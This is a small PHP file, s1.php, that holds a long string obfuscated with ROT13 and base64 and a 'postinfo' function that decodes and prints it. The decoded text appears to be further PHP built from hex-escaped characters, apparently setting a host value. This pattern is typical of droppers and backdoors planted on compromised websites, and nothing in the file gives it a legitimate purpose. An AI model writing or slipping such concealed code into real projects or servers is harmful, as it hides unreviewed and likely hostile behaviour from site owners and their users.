s1.php

<?php
$html = 'WUIvMzptCFNvKTf3A1keAmqpnmp3KTflpykeAmEpnmL4KTf2BIkeAmApnmL0KTf2p1keAaApnmplKTflpykeAwApnmMmKTf2pFV7WUElMlN9VPWpnmWmKTf2Z1keAaApnmMmKTf2pSkeZaApnmp1KTf3ZSkeAwEpnmLkKTf3ASkeAwIpnmWlKTf3ZSkeAwupnmpjKTfmp1keAwqpnmAkVwfxqUWaVP49VT92LGW1pzfbWS9THxIWHxIoW1IUE0AsIHWTElqqXF4vKTflAykeAmApnmAkVv5iqzRlqKWeXPEsEyWSFIWSJlqQIHAsEyWMHlqqXF4vKTf' . 'lAykeAmOpnmAkVv4xozIyozj7WUShM24tCFNvKTf0A1keAQIpnmH0KTflZPVhWUElMl4vKTflZSkeAQupnmH0KTf1ASkeAGOpnmWmKTfmZIkeZaWpnmZkKTIpLIkeAQupnmMmKTf3Z1keAmEpnmAhVv4xqJWzMl4vKTIpLIkeAQApnmMmKTf2pykeAaWpnmL1KTf2Z1keAmEpnmL5KTf2p1keAaWpnmAhKTflZSkeAQApnmMjKTf2p1keAmApnmL1KTIpLIkyKTRvB3MmXUAbLKOaqzWuK3WeqzMaMvtvKTf2AykeAmApnmMmKTf2Z1keAz9pnmMmKTf3ZSkeAwIpnmMlVvxcVUftWTMvpUttCFONp2MvpUuvL3WuXPE1LzMaYUIln3SlpPt1ZPxcBlONp2AbM2LbWTMvpUtfWUShM24cBlONp3O5LzMlXPEzLaO4XGftsKW5MaVtrlONp3M5py90pzqspTWuM3WuM2LbVykeAwupnmp0KTf3ASkeAmOpnmAhKTflp1keZaZvYvE1LzMaYvE0pzpcBlO9VTIlM2uyLFOaMJulBj==';
postinfo(str_rot13($html));

function postinfo($string)
{
    $info = base64_decode($string);
    print(str_rot13($info));
}